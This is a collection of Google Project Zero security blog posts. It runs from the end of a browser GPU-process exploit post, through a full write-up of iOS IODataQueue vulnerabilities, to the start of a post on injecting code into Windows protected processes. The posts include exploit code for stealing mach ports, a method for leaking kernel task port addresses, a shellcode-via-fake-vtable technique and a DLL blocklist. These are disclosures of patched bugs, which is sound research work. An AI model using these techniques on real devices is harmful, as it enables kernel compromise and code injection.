Now, it should be fairly trivial to get arbitrary code execution from this point, although it’s often a pain to get your ROP chain to line up nicely when you have to replace a c++ object, this is a very tractable problem. It turns out, though, that there’s another trick that will make this exploit more elegant.
SwiftShader uses JIT compilation of shaders to get as high performance as possible - and that JIT compiler uses another c++ object to handle loading and mapping the generated ELF executables into memory. Maybe we can create a fake object that uses our egl::ImageImplementation object as a SubzeroReactor::ELFMemoryStreamer object, and have the GPU process load an ELF file for us as a payload, instead of fiddling around ourselves?
We can - so by creating a fake vtable such that:egl::ImageImplementation::lockInternal -> egl::ImageImplementation::lockInternalegl::ImageImplementation::unlockInternal -> ELFMemoryStreamer::getEntryegl::ImageImplementation::release -> shellcode
When we then read from this image object, instead of returning pixels to javascript, we’ll execute our shellcode payload in the GPU process.
ConclusionsIt’s interesting that we can find directly javascript-accessible attack surface in some unlikely places in a modern browser codebase when we look at things sideways - avoiding the perhaps more obvious and highly contested areas such as the main javascript JIT engine.
In many codebases, there is a long history of development and there are many trade-offs made for compatibility and consistency across releases. It’s worth reviewing some of these to see whether the original expectations turned out to be valid after the release of these features, and if they still hold today, or if these features can actually be removed without significant impact to users.
Categories: Security

Deja-XNU

Google Project Zero - Thu, 10/18/2018 - 18:27
Posted by Ian Beer, Google Project Zero
This blog post revisits an old bug found by Pangu Team and combines it with a new, albeit very similar issue I recently found to try to build a "perfect" exploit for iOS 7.1.2.
State of the artAn idea I've wanted to play with for a while is to revisit old bugs and try to exploit them again, but using what I've learnt in the meantime about iOS. My hope is that it would give an insight into what the state-of-the-art of iOS exploitation could have looked like a few years ago, and might prove helpful if extrapolated forwards to think about what state-of-the-art exploitation might look like now.
So let's turn back the clock to 2014...
Pangu 7On June 23 2014 @PanguTeam released the Pangu 7 jailbreak for iOS 7.1-7.1.x. They exploited a lot of bugs. The issue we're interested in is CVE-2014-4461 which Apple described as: A validation issue ... in the handling of certain metadata fields of IOSharedDataQueue objects. This issue was addressed through relocation of the metadata.
(Note that this kernel bug wasn't actually fixed in iOS 8 and Pangu reused it for Pangu 8...)
Queuerious...Looking at the iOS 8-era release notes you'll see that Pangu and I had found some bugs in similar areas:
  • IOKit

Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: A malicious application may be able to execute arbitrary code with system privileges
Description: A validation issue existed in the handling of certain metadata fields of IODataQueue objects. This issue was addressed through improved validation of metadata.
CVE-2014-4418 : Ian Beer of Google Project Zero
  • IOKit

Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: A malicious application may be able to execute arbitrary code with system privileges
Description: A validation issue existed in the handling of certain metadata fields of IODataQueue objects. This issue was addressed through improved validation of metadata.
CVE-2014-4388 : @PanguTeam
  • IOKit

Available for: iPhone 4s and later, iPod touch (5th generation) and later, iPad 2 and later
Impact: A malicious application may be able to execute arbitrary code with system privileges
Description: An integer overflow existed in the handling of IOKit functions. This issue was addressed through improved validation of IOKit API arguments.
CVE-2014-4389 : Ian Beer of Google Project Zero
IODataQueueI had looked at the IOKit class IODataQueue, which the header file IODataQueue.h tells us "is designed to allow kernel code to queue data to a user process." It does this by creating a lock-free queue data-structure in shared memory.
IODataQueue was quite simple, there were only two fields: dataQueue and notifyMsg:
class IODataQueue : public OSObject{  OSDeclareDefaultStructors(IODataQueue)protected:  IODataQueueMemory * dataQueue;  void * notifyMsg;public:  static IODataQueue *withCapacity(UInt32 size);  static IODataQueue *withEntries(UInt32 numEntries, UInt32 entrySize);  virtual Boolean initWithCapacity(UInt32 size);  virtual Boolean initWithEntries(UInt32 numEntries, UInt32 entrySize);  virtual Boolean enqueue(void *data, UInt32 dataSize);  virtual void setNotificationPort(mach_port_t port);  virtual IOMemoryDescriptor *getMemoryDescriptor();};
Here's the entire implementation of IODataQueue, as it was around iOS 7.1.2:
OSDefineMetaClassAndStructors(IODataQueue, OSObject)
IODataQueue *IODataQueue::withCapacity(UInt32 size){    IODataQueue *dataQueue = new IODataQueue;
   if (dataQueue) {        if (!dataQueue->initWithCapacity(size)) {            dataQueue->release();            dataQueue = 0;        }    }
   return dataQueue;}
IODataQueue *IODataQueue::withEntries(UInt32 numEntries, UInt32 entrySize){    IODataQueue *dataQueue = new IODataQueue;
   if (dataQueue) {        if (!dataQueue->initWithEntries(numEntries, entrySize)) {            dataQueue->release();            dataQueue = 0;        }    }
   return dataQueue;}
Boolean IODataQueue::initWithCapacity(UInt32 size){    vm_size_t allocSize = 0;
   if (!super::init()) {        return false;    }
   allocSize = round_page(size + DATA_QUEUE_MEMORY_HEADER_SIZE);
   if (allocSize < size) {        return false;    }
   dataQueue = (IODataQueueMemory *)IOMallocAligned(allocSize, PAGE_SIZE);    if (dataQueue == 0) {        return false;    }
   dataQueue->queueSize    = size;    dataQueue->head         = 0;    dataQueue->tail         = 0;
   return true;}
Boolean IODataQueue::initWithEntries(UInt32 numEntries, UInt32 entrySize){    return (initWithCapacity((numEntries + 1) * (DATA_QUEUE_ENTRY_HEADER_SIZE + entrySize)));}
void IODataQueue::free(){    if (dataQueue) {        IOFreeAligned(dataQueue, round_page(dataQueue->queueSize + DATA_QUEUE_MEMORY_HEADER_SIZE));    }
   super::free();
   return;}
Boolean IODataQueue::enqueue(void * data, UInt32 dataSize){    const UInt32       head = dataQueue->head;  // volatile    const UInt32       tail = dataQueue->tail;    const UInt32       entrySize = dataSize + DATA_QUEUE_ENTRY_HEADER_SIZE;    IODataQueueEntry * entry;
   if ( tail >= head )    {        // Is there enough room at the end for the entry?        if ( (tail + entrySize) <= dataQueue->queueSize )        {            entry = (IODataQueueEntry *)((UInt8 *)dataQueue->queue + tail);
           entry->size = dataSize;            memcpy(&entry->data, data, dataSize);
           // The tail can be out of bound when the size of the new entry            // exactly matches the available space at the end of the queue.            // The tail can range from 0 to dataQueue->queueSize inclusive.
           dataQueue->tail += entrySize;        }        else if ( head > entrySize ) // Is there enough room at the beginning?        {            // Wrap around to the beginning, but do not allow the tail to catch            // up to the head.
           dataQueue->queue->size = dataSize;
           // We need to make sure that there is enough room to set the size before            // doing this. The user client checks for this and will look for the size            // at the beginning if there isn't room for it at the end.
           if ( ( dataQueue->queueSize - tail ) >= DATA_QUEUE_ENTRY_HEADER_SIZE )            {                ((IODataQueueEntry *)((UInt8 *)dataQueue->queue + tail))->size = dataSize;            }
           memcpy(&dataQueue->queue->data, data, dataSize);            dataQueue->tail = entrySize;        }        else        {            return false; // queue is full        }    }    else    {        // Do not allow the tail to catch up to the head when the queue is full.        // That's why the comparison uses a '>' rather than '>='.
       if ( (head - tail) > entrySize )        {            entry = (IODataQueueEntry *)((UInt8 *)dataQueue->queue + tail);
           entry->size = dataSize;            memcpy(&entry->data, data, dataSize);            dataQueue->tail += entrySize;        }        else        {            return false; // queue is full        }    }
   // Send notification (via mach message) that data is available.
   if ( ( head == tail )                /* queue was empty prior to enqueue() */    || ( dataQueue->head == tail ) )   /* queue was emptied during enqueue() */    {        sendDataAvailableNotification();    }
   return true;}
void IODataQueue::setNotificationPort(mach_port_t port){    static struct _notifyMsg init_msg = { {        MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0),        sizeof (struct _notifyMsg),        MACH_PORT_NULL,        MACH_PORT_NULL,        0,        0    } };
   if (notifyMsg == 0) {        notifyMsg = IOMalloc(sizeof(struct _notifyMsg));    }
   *((struct _notifyMsg *)notifyMsg) = init_msg;
   ((struct _notifyMsg *)notifyMsg)->h.msgh_remote_port = port;}
void IODataQueue::sendDataAvailableNotification(){    kern_return_t kr;    mach_msg_header_t * msgh;
   msgh = (mach_msg_header_t *)notifyMsg;    if (msgh && msgh->msgh_remote_port) {        kr = mach_msg_send_from_kernel_proper(msgh, msgh->msgh_size);        switch(kr) {            case MACH_SEND_TIMED_OUT: // Notification already sent            case MACH_MSG_SUCCESS:                break;            default:                IOLog("%s: dataAvailableNotification failed - msg_send returned: %d\n", /*getName()*/"IODataQueue", kr);                break;        }    }}
IOMemoryDescriptor *IODataQueue::getMemoryDescriptor(){    IOMemoryDescriptor *descriptor = 0;
   if (dataQueue != 0) {        descriptor = IOMemoryDescriptor::withAddress(dataQueue, dataQueue->queueSize + DATA_QUEUE_MEMORY_HEADER_SIZE, kIODirectionOutIn);    }
   return descriptor;}
The ::initWithCapacity method allocates the buffer which will end up in shared memory. We can see from the cast that the structure of the memory looks like this:
typedef struct _IODataQueueMemory {    UInt32            queueSize;    volatile UInt32   head;    volatile UInt32   tail;    IODataQueueEntry  queue[1];} IODataQueueMemory;
The ::setNotificationPort method allocated a mach message header structure via IOMalloc when it was first called and stored the buffer as notifyMsg.
The ::enqueue method was responsible for writing data into the next free slot in the queue, potentially wrapping back around to the beginning of the buffer.
Finally, ::getMemoryDescriptor created an IOMemoryDescriptor object which wrapped the dataQueue memory to return to userspace.
IODataQueue.cpp was 243 lines, including license and comments. I count at least 6 bugs, which I've highlighted in the code. There's only one integer overflow check but there are multiple obvious integer overflow issues. The other problems stemmed from the fact that the only place where the IODataQueue was storing the queue's length was in the shared memory which userspace could modify.
This lead to obvious memory corruption issues in ::enqueue since userspace could alter the queueSize, head and tail fields and the kernel had no way to verify whether they were within the bounds of the queue buffer. The other two uses of the queueSize field also yielded interesting bugs: The ::free method has to trust the queueSize field, and so will make an oversized IOFree. Most interesting of all however is ::getMemoryDescriptor, which trusts queueSize when creating the IOMemoryDescriptor. If the kernel code which was using the IODataQueue allowed userspace to get multiple memory descriptors this would have let us get an oversized memory descriptor, potentially giving us read/write access to other kernel heap objects.
Back to PanguPangu's kernel code exec bug isn't in IODataQueue but in the subclass IOSharedDataQueue. IOSharedDataQueue.h tells us that the "IOSharedDataQueue class is designed to also allow a user process to queue data to kernel code."
IOSharedDataQueue adds one (unused) field:
   struct ExpansionData {    };    /*! @var reserved        Reserved for future use.  (Internal use only) */    ExpansionData * _reserved;

IOSharedDataQueue doesn't override the ::enqueue method, but adds a ::dequeue method to allow the kernel to dequeue objects which userspace has enqueued.
::dequeue had the same problems as ::enqueue with the queue size being in shared memory, which could lead the kernel to read out of bounds. But strangely that wasn't the only change in IOSharedDataQueue. Pangu noticed that IOSharedDataQueue also had a much more curious change in its overridden version of ::initWithCapacity:
Boolean IOSharedDataQueue::initWithCapacity(UInt32 size){    IODataQueueAppendix *   appendix;        if (!super::init()) {        return false;    }        dataQueue = (IODataQueueMemory *)IOMallocAligned(round_page(size + DATA_QUEUE_MEMORY_HEADER_SIZE + DATA_QUEUE_MEMORY_APPENDIX_SIZE), PAGE_SIZE);    if (dataQueue == 0) {        return false;    }
   dataQueue->queueSize = size;    dataQueue->head = 0;    dataQueue->tail = 0;        appendix = (IODataQueueAppendix *)((UInt8 *)dataQueue + size + DATA_QUEUE_MEMORY_HEADER_SIZE);    appendix->version = 0;    notifyMsg = &(appendix->msgh);    setNotificationPort(MACH_PORT_NULL);
   return true;}
IOSharedDataQueue increased the size of the shared memory buffer to also add space for an IODataQueueAppendix structure:
typedef struct _IODataQueueAppendix {    UInt32 version;    mach_msg_header_t msgh;} IODataQueueAppendix;
This contains a version field and, strangely, a mach message header. Then on this line:
 notifyMsg = &(appendix->msgh);
the notifyMsg member of the IODataQueue superclass is set to point in to that appendix structure.
Recall that IODataQueue allocated a mach message header structure via IOMalloc when a notification port was first set, so why did IOSharedDataQueue do it differently? About the only plausible explanation I can come up with is that a developer had noticed that the dataQueue memory allocation typically wasted almost a page of memory, because clients asked for a page-multiple number of bytes, then the queue allocation added a small header to that and rounded up to a page-multiple again. This change allowed you to save a single 0x18 byte kernel allocation per queue. Given that this change seems to have landed right around the launch date of the first iPhone, a memory constrained device with no swap, I could imagine there was a big drive to save memory.
But the question is: can you put a mach message header in shared memory like that?
What's in a message?Here's the definition of mach_msg_header_t, as it was in iOS 7.1.2:
typedef struct {  mach_msg_bits_t  msgh_bits;  mach_msg_size_t  msgh_size;  mach_port_t      msgh_remote_port;  mach_port_t      msgh_local_port;  mach_msg_size_t  msgh_reserved;  mach_msg_id_t    msgh_id;} mach_msg_header_t;
(The msgh_reserved field has since become msgh_voucher_port with the introduction of vouchers.)
Both userspace and the kernel appear at first glance to have the same definition of this structure, but upon closer inspection if you resolve all the typedefs you'll see this very important distinction:
userspace:typedef __darwin_mach_port_t mach_port_t;typedef __darwin_mach_port_name_t __darwin_mach_port_t;typedef __darwin_natural_t __darwin_mach_port_name_t; typedef unsigned int __darwin_natural_t
kernel:typedef ipc_port_t mach_port_t;typedef struct ipc_port *ipc_port_t;
In userspace mach_port_t is an unsigned 32-bit integer which is a task-local name for a port, but in the kernel a mach_port_t is a raw pointer to the underlying ipc_port structure.
Since the kernel is the one responsible for initializing the notification message, and is the one sending it, it seems that the kernel is writing kernel pointers into userspace shared memory!
Fast-forwardBefore we move on to writing a new exploit for that old issue let's jump forward to 2018, and why exactly I'm looking at this old code again.
I've recently spoken publicly about the importance of variant analysis, and I thought it was important to actually do some variant analysis myself before I gave that talk. By variant analysis, I mean taking a known security bug and looking for code which is vulnerable in a similar way. That could mean searching a codebase for all uses of a particular API which has exploitable edge cases, or even just searching for a buggy code snippet which has been copy/pasted into a different file.
Userspace queues and deja-xnuThis summer while looking for variants of the old IODataQueue issues I saw something I hadn't noticed before: as well as the facilities for enqueuing and dequeue objects to and from kernel-owned IODataQueues, the userspace IOKit.framework also contains code for creating userspace-owned queues, for use only between userspace processes.
The code for creating these queues isn't in the open-source IOKitUser package; you can only see this functionality by reversing the IOKit framework binary.
There are no users of this code in the IOKitUser source, but some reversing showed that the userspace-only queues were used by the com.apple.iohideventsystem MIG service, implemented in IOKit.framework and hosted by backboardd on iOS and hidd on MacOS. You can talk to this service from inside the app sandbox on iOS.
Reading the userspace __IODataQueueEnqueue method, which is used to enqueue objects into both userspace and kernel queues, I had a strong feeling of deja-xnu: It was trusting the queueSize value in the queue header in shared memory, just like CVE-2014-4418 from 2014 did. Of course, if the kernel is the other end of the queue then this isn't interesting (since the kernel doesn't trust these values) but we now know that there are userspace only queues, where the other end is another userspace process.
Reading more of the userspace IODataQueue handling code I noticed that unlike the kernel IODataQueue object, the userspace one had an appendix as well as header. And in that appendix, like IOSharedDataQueue, it stored a mach message header! Did this userspace IODataQueue have the same issue as the IOSharedDataQueue issue from Pangu 7/8? Let's look at the code:
IOReturn IODataQueueSetNotificationPort(IODataQueueMemory *dataQueue, mach_port_t notifyPort){    IODataQueueAppendix * appendix = NULL;    UInt32 queueSize = 0;                if ( !dataQueue )        return kIOReturnBadArgument;            queueSize = dataQueue->queueSize;        appendix = (IODataQueueAppendix *)((UInt8 *)dataQueue + queueSize + DATA_QUEUE_MEMORY_HEADER_SIZE);
   appendix->msgh.msgh_bits        = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);    appendix->msgh.msgh_size        = sizeof(appendix->msgh);    appendix->msgh.msgh_remote_port = notifyPort;    appendix->msgh.msgh_local_port  = MACH_PORT_NULL;    appendix->msgh.msgh_id          = 0;
   return kIOReturnSuccess;}
We can take a look in lldb at the contents of the buffer and see that at the end of the queue, still in shared memory, we can see a mach message header, where the name field is the remote end's name for the notification port we provided!
Exploitation of an arbitrary mach message sendIn XNU each task (process) has a task port, and each thread within a task has a thread port. Originally a send right to a task's task port gave full memory and thread control, and a send right to a thread port meant full thread control (which is of course also full memory control.)
As a result of the exploits which I and others have released abusing issues with mach ports to steal port rights Apple have very slowly been hardening these interfaces. But as of iOS 11.4.1 if you have a send right to a thread port belonging to another task you can still use it to manipulate the register state of that thread.
Interestingly process startup on iOS is sufficiently deterministic that in backboardd on iOS 7.1.2 on an iPhone 4 right up to iOS 11.4.1 on an iPhone SE, 0x407 names a thread port.
Stealing portsThe msgh_local_port field in a mach message is typically used to give the recipient of a message a send-once right to a "reply port" which can be used to send a reply. This is just a convention and any send or send-once right can be transferred here. So by rewriting the mach message in shared memory which will be sent to us to set the msgh_local_port field to 0x407 (backboardd's name for a thread port) and the msgh_bits field to use a COPY_SEND disposition for the local port, when the notification message is sent to us by backboardd we'll receive a send right to a backboardd thread port!
This exploit for this issue targets iOS 11.4.1, and contains a modified version of the remote_call code from triple_fetch to work with a stolen thread port rather than a task port.
Back to 2014I mentioned that Apple have slowly been adding mitigations against the use of stolen task ports. The first of these mitigations I'm aware of was to prevent userspace using the kernel task port, often known as task-for-pid-0 or TFP0, which is the task port representing the kernel task (and hence allowing read/write access to kernel memory). I believe this was done in response to my mach_portal exploit which used a kernel use-after-free to steal a send right to the kernel task port.
Prior to that hardening, if you had a send right to the kernel task port you had complete read/write access to kernel memory.
We've seen that port name allocation is extremely stable, with the same name for a thread port for four years. Is the situation similar for the ipc_port pointers used in the kernel in mach messages?
Very early kernel port allocation is also deterministic. I abused this in mach_portal to steal the kernel task port by first determining the address of the host port then guessing that the kernel task port must be nearby since they're both very early port allocations.
Back in 2014 things were even easier because the kernel task port was at a fixed offset from the host port; all we need to do is leak the address of the host port then we can compute the address of the kernel task port!
Determining port addressesIOHIDEventService is a userclient which exposes an IOSharedDataQueue to userspace. We can't open this from inside the app sandbox, but the exploit for the userspace IODataQueue bug was easy enough to backport to 32-bit iOS 7.1.2, and we can open an IOHIDEventService userclient from backboardd.
The sandbox only prevents us from actually opening the userclient connection. We can then transfer the mach port representing this connection back to our sandboxed app and continue the exploit from there. Using the code I wrote for triple_fetch we can easily use backboardd's task port which we stole (using the userspace IODataQueue bug) to open an IOKit userclient connection and move it back:
uint32_t remote_matching =  task_remote_call(bbd_task_port,                   IOServiceMatching,                   1,                   REMOTE_CSTRING("IOHIDEventService"));  uint32_t remote_service =  task_remote_call(bbd_task_port,                   IOServiceGetMatchingService,                   2,                   REMOTE_LITERAL(0),                   REMOTE_LITERAL(remote_matching));  uint32_t remote_conn = 0;uint32_t remote_err =  task_remote_call(bbd_task_port,                   IOServiceOpen,                   4,                   REMOTE_LITERAL(remote_service),                   REMOTE_LITERAL(0x1307), // remote mach_task_self()                   REMOTE_LITERAL(0),                   REMOTE_OUT_BUFFER(&remote_conn,                                     sizeof(remote_conn)));  mach_port_t conn =  pull_remote_port(bbd_task_port,                   remote_conn,                   MACH_MSG_TYPE_COPY_SEND);
We then just need to call external method 0 to "open" the queue and IOConnectMapMemory to map the queue shared memory into our process and find the mach message header:
vm_address_t qaddr = 0;vm_size_t qsize = 0;
IOConnectMapMemory(conn,                   0,                   mach_task_self(),                   &qaddr,                   &qsize,                   1);
mach_msg_header_t* shm_msg =  (mach_msg_header_t*)(qaddr + qsize - 0x18);
In order to set the queue's notification port we need to call IOConnectSetNotificationPort on the userclient:
mach_port_t notification_port = MACH_PORT_NULL;mach_port_allocate(mach_task_self(),                   MACH_PORT_RIGHT_RECEIVE,                   &notification_port);
uint64_t ref[8] = {0};IOConnectSetNotificationPort(conn,                             0,                             notification_port,                             ref);
We can then see the kernel address of that port's ipc_port in the shared memory message:
+0x00001010 00000013  // msgh_bits+0x00001014 00000018  // msgh_size+0x00001018 99a3e310  // msgh_remote_port+0x0000101c 00000000  // msgh_local_port+0x00001020 00000000  // msgh_reserved+0x00001024 00000000  // msgh_id

We now need to determine the heap address of an early kernel port. If we just call IOConnectSetNotificationPort with a send right to the host_self port, we get an error:
IOConnectSetNotificationPort error: 1000000a (ipc/send) invalid port right
This error is actually from the MIG client code telling us that the MIG serialized message failed to send. IOConnectSetNotificationPort is a thin wrapper around the MIG generated io_conenct_set_notification_port client code. Let's take a look in device.defs which is the source file used by MIG to generate the RPC stubs for IOKit:
routine io_connect_set_notification_port(    connection        : io_connect_t; in notification_type : uint32_t; in port              : mach_port_make_send_t; in reference         : uint32_t);
Here we can see that the port argument is defined as a mach_port_make_send_t which means that the MIG code will send the port argument in a port descriptor with a disposition of MACH_MSG_TYPE_MAKE_SEND, which requires the sender to hold a receive right. But in mach there is no way for the receiver to determine whether the sender held a receive right for a send right which you received or instead sent you a copy via MACH_MSG_TYPE_COPY_SEND. This means that all we need to do is modify the MIG client code to use a COPY_SEND disposition and then we can set the queue's notification port to any send right we can acquire, irrespective of whether we hold a receive right.
Doing this and passing the name we get from mach_host_self() we can learn the host port's kernel address:
host port: 0x8e30cee0
Leaking a couple of early ports which are likely to come from the same memory page and finding the greatest common factor gives us a good guess for the size of an ipc_port_t in this version of iOS:
master port: 0x8e30c690host port: 0x8e30cee0GCF(0x690, 0xee0) = 0x70
Looking at the XNU source we can see that the host port is allocated before the kernel task port, and since this was before the zone allocator freelist randomisation mitigation was introduced this means that the address of the kernel task port will be somewhere below the host port.
By setting the msgh_local_port field to the address of the host port - 0x70, then decrementing it by 0x70 each time we receive a notification message we will be sent a different early port each time a notification message is sent. Doing this we learn that the kernel task port is allocated 5 ports after the host port, meaning that the address of the kernel task port is host_port_kaddr - (5*0x70).
Putting it all togetherYou can get my exploit for iOS 7.1.2 here, I've only tested it on an iPhone 4. You'll need to use an old version of XCode to build and run it; I'm using XCode 7.3.1.
Launch the app, press the home button to trigger an HID notification message and enjoy read/write access to kernel memory. :)
In 2014 then it seems that with enough OS internals knowledge and the right set of bugs it was pretty easy to build a logic bug chain to get kernel memory read write. Things have certainly changed since then, but I'd be interested to compare this post with another one in 2022 looking back to 2018.
LessonsVariant analysis is really important, but attackers are the only parties incentivized to do a good job of it. Why did the userspace variant of this IODataQueue issue persist for four more years after almost the exact same bug was fixed in the kernel code?
Let's also not underplay the impact that just the userspace version of the bug alone could have had. Prior to mach_portal, due to a design quirk of the com.apple.iohideventsystem MIG service backboardd had send rights to a large number of other process's task ports, meaning that a compromise of backboardd was also a compromise of those tasks.
Some of those tasks ran as root meaning they could have exploited the processor_set_tasks vulnerability to get the task ports for any task on the device, which despite being a known issue also wasn't fixed until I exploited it in triple_fetch.
This IODataQueue issue wasn't the only variant I found as part of this project; the deja-xnu project for iOS 11.4.1 also contains PoC code to trigger a MIG code generation bug in clients of backboardd, and the project zero tracker has details of further issues.
A final note on security bulletinsYou'll notice that none of the issues I've linked above are mentioned in the iOS 12 security bulletin, despite being fixed in that release. Apple are still yet to assign CVEs for these issues or publicly acknowledge that they were fixed in iOS 12. In my opinion a security bulletin should mention the security bugs that were fixed. Not doing so provides a disincentive for people to update their devices since it appears that there were fewer security fixes that there really were.
Categories: Security

Injecting Code into Windows Protected Processes using COM - Part 1

Google Project Zero - Tue, 10/16/2018 - 12:34
Posted by James Forshaw, Google Project Zero
At Recon Montreal 2018 I presented “Unknown Known DLLs and other Code Integrity Trust Violations” with Alex Ionescu. We described the implementation of Microsoft Windows’ Code Integrity mechanisms and how Microsoft implemented Protected Processes (PP). As part of that I demonstrated various ways of bypassing Protected Process Light (PPL), some requiring administrator privileges, others not.
In this blog I’m going to describe the process I went through to discover a way of injecting code into a PPL on Windows 10 1803. As the only issue Microsoft considered to be violating a defended security boundary has now been fixed I can discuss the exploit in more detail.Background on Windows Protected ProcessesThe origins of the Windows Protected Process (PP) model stretch back to Vista where it was introduced to protect DRM processes. The protected process model was heavily restricted, limiting loaded DLLs to a subset of code installed with the operating system. Also for an executable to be considered eligible to be started protected it must be signed with a specific Microsoft certificate which is embedded in the binary. One protection that the kernel enforced is that a non-protected process couldn’t open a handle to a protected process with enough rights to inject arbitrary code or read memory.
In Windows 8.1 a new mechanism was introduced, Protected Process Light (PPL), which made the protection more generalized. PPL loosened some of the restrictions on what DLLs were considered valid for loading into a protected process and introduced different signing requirements for the main executable. Another big change was the introduction of a set of signing levels to separate out different types of protected processes. A PPL in one level can open for full access any process at the same signing level or below, with a restricted set of access granted to levels above. These signing levels were extended to the old PP model, a PP at one level can open all PP and PPL at the same signing level or below, however the reverse was not true, a PPL can never open a PP at any signing level for full access. Some of the levels and this relationship are shown below:
Signing levels allow Microsoft to open up protected processes to third-parties, although at the current time the only type of protected process that a third party can create is an Anti-Malware PPL. The Anti-Malware level is special as it allows the third party to add additional permitted signing keys by registering an Early Launch Anti-Malware (ELAM) certificate. There is also Microsoft’s TruePlay, which is an Anti-Cheat technology for games which uses components of PPL but it isn’t really important for this discussion.
I could spend a lot of this blog post describing how PP and PPL work under the hood, but I recommend reading the blog post series by Alex Ionescu instead (Parts 1, 2 and 3) which will do a better job. While the blog posts are primarily based on Windows 8.1, most of the concepts haven’t changed substantially in Windows 10.
I’ve written about Protected Processes before [link], in the form of the custom implementation by Oracle in their VirtualBox virtualization platform on Windows. The blog showed how I bypassed the process protection using multiple different techniques. What I didn’t mention at the time was the first technique I described, injecting JScript code into the process, also worked against Microsoft's PPL implementation. I reported that I could inject arbitrary code into a PPL to Microsoft (see Issue 1336) from an abundance of caution in case Microsoft wanted to fix it. In this case Microsoft decided it wouldn’t be fixed as a security bulletin. However Microsoft did fix the issue in the next major release on Windows (version 1803) by adding the following code to CI.DLL, the Kernel’s Code Integrity library:
UNICODE_STRING g_BlockedDllsForPPL[] = {
 DECLARE_USTR("scrobj.dll"),
 DECLARE_USTR("scrrun.dll"),
 DECLARE_USTR("jscript.dll"),
 DECLARE_USTR("jscript9.dll"),
 DECLARE_USTR("vbscript.dll")
};

NTSTATUS CipMitigatePPLBypassThroughInterpreters(PEPROCESS Process,
                                                LPBYTE Image,
                                                SIZE_T ImageSize) {
 if (!PsIsProtectedProcess(Process))
   return STATUS_SUCCESS;

 UNICODE_STRING OriginalImageName;
 // Get the original filename from the image resources.
 SIPolicyGetOriginalFilenameAndVersionFromImageBase(
     Image, ImageSize, &OriginalImageName);
 for(int i = 0; i < _countof(g_BlockedDllsForPPL); ++i) {
   if (RtlEqualUnicodeString(g_BlockedDllsForPPL[i],
                             &OriginalImageName, TRUE)) {
     return STATUS_DYNAMIC_CODE_BLOCKED;
   }
 }
 return STATUS_SUCCESS;
}
The fix checks the original file name in the resource section of the image being loaded against a blacklist of 5 DLLs. The blacklist includes DLLs such as JSCRIPT.DLL, which implements the original JScript scripting engine, and SCROBJ.DLL, which implements scriptlet objects. If the kernel detects a PP or PPL loading one of these DLLs the image load is rejected with STATUS_DYNAMIC_CODE_BLOCKED. This kills my exploit, if you modify the resource section of one of the listed DLLs the signature of the image will be invalidated resulting in the image load failing due to a cryptographic hash mismatch. It’s actually the same fix that Oracle used to block the attack in VirtualBox, although that was implemented in user-mode.Finding New TargetsThe previous injection technique using script code was a generic technique that worked on any PPL which loaded a COM object. With the technique fixed I decided to go back and look at what executables will load as a PPL to see if they have any obvious vulnerabilities I could exploit to get arbitrary code execution. I could have chosen to go after a full PP, but PPL seemed the easier of the two and I’ve got to start somewhere. There’s so many ways to inject into a PPL if we could just get administrator privileges, the least of which is just loading a kernel driver. For that reason any vulnerability I discover must work from a normal user account. Also I wanted to get the highest signing level I can get, which means PPL at Windows TCB signing level.
The first step was to identify executables which run as a protected process, this gives us the maximum attack surface to analyze for vulnerabilities. Based on the blog posts from Alex it seemed that in order to be loaded as PP or PPL the signing certificate needs a special Object Identifier (OID) in the certificate’s Enhanced Key Usage (EKU) extension. There are separate OID for PP and PPL; we can see this below with a comparison between WERFAULTSECURE.EXE, which can run as PP/PPL, and CSRSS.EXE, which can only run as PPL.

I decided to look for executables which have an embedded signature with these EKU OIDs and that’ll give me a list of all executables to look for exploitable behavior. I wrote the Get-EmbeddedAuthenticodeSignature cmdlet for my NtObjectManager PowerShell module to extract this information.
At this point I realized there was a problem with the approach of relying on the signing certificate, there’s a lot of binaries I expected to be allowed to run as PP or PPL which were missing from the list I generated. As PP was originally designed for DRM there was no obvious executable to handle the Protected Media Path such as AUDIODG.EXE. Also, based on my previous research into Device Guard and Windows 10S, I knew there must be an executable in the .NET framework which could run as PPL to add cached signing level information to NGEN generated binaries (NGEN is an Ahead-of-Time JIT to convert a .NET assembly into native code). The criteria for PP/PPL were more fluid than I expected. Instead of doing static analysis I decided to perform dynamic analysis, just start protected every executable I could enumerate and query the protection level granted. I wrote the following script to test a single executable:
Import-Module NtObjectManager
function Test-ProtectedProcess {    [CmdletBinding()]    param(        [Parameter(Mandatory, ValueFromPipelineByPropertyName)]        [string]$FullName,        [NtApiDotNet.PsProtectedType]$ProtectedType = 0,        [NtApiDotNet.PsProtectedSigner]$ProtectedSigner = 0        )    BEGIN {        $config = New-NtProcessConfig abc -ProcessFlags ProtectedProcess `            -ThreadFlags Suspended -TerminateOnDispose `            -ProtectedType $ProtectedType `            -ProtectedSigner $ProtectedSigner    }
   PROCESS {        $path = Get-NtFilePath $FullName        Write-Host $path        try {            Use-NtObject($p = New-NtProcess $path -Config $config) {                $prot = $p.Process.Protection                $props = @{                    Path=$path;                    Type=$prot.Type;                    Signer=$prot.Signer;                    Level=$prot.Level.ToString("X");                }                $obj = New-Object –TypeName PSObject –Prop $props                Write-Output $obj            }        } catch {        }    }}
When this script is executed a function is defined, Test-ProtectedProcess. The function takes a path to an executable, starts that executable with a specified protection level and checks whether it was successful. If the ProtectedType and ProtectedSigner parameters are 0 then the kernel decides the “best” process level. This leads to some annoying quirks, for example SVCHOST.EXE is explicitly marked as PPL and will run at PPL-Windows level, however as it’s also a signed OS component the kernel will determine its maximum level is PP-Authenticode. Another interesting quirk is using the native process creation APIs it’s possible to start a DLL as main executable image. As a significant number of system DLLs have embedded Microsoft signatures they can also be started as PP-Authenticode, even though this isn’t necessarily that useful. The list of binaries that will run at PPL is shown below along with their maximum signing level.
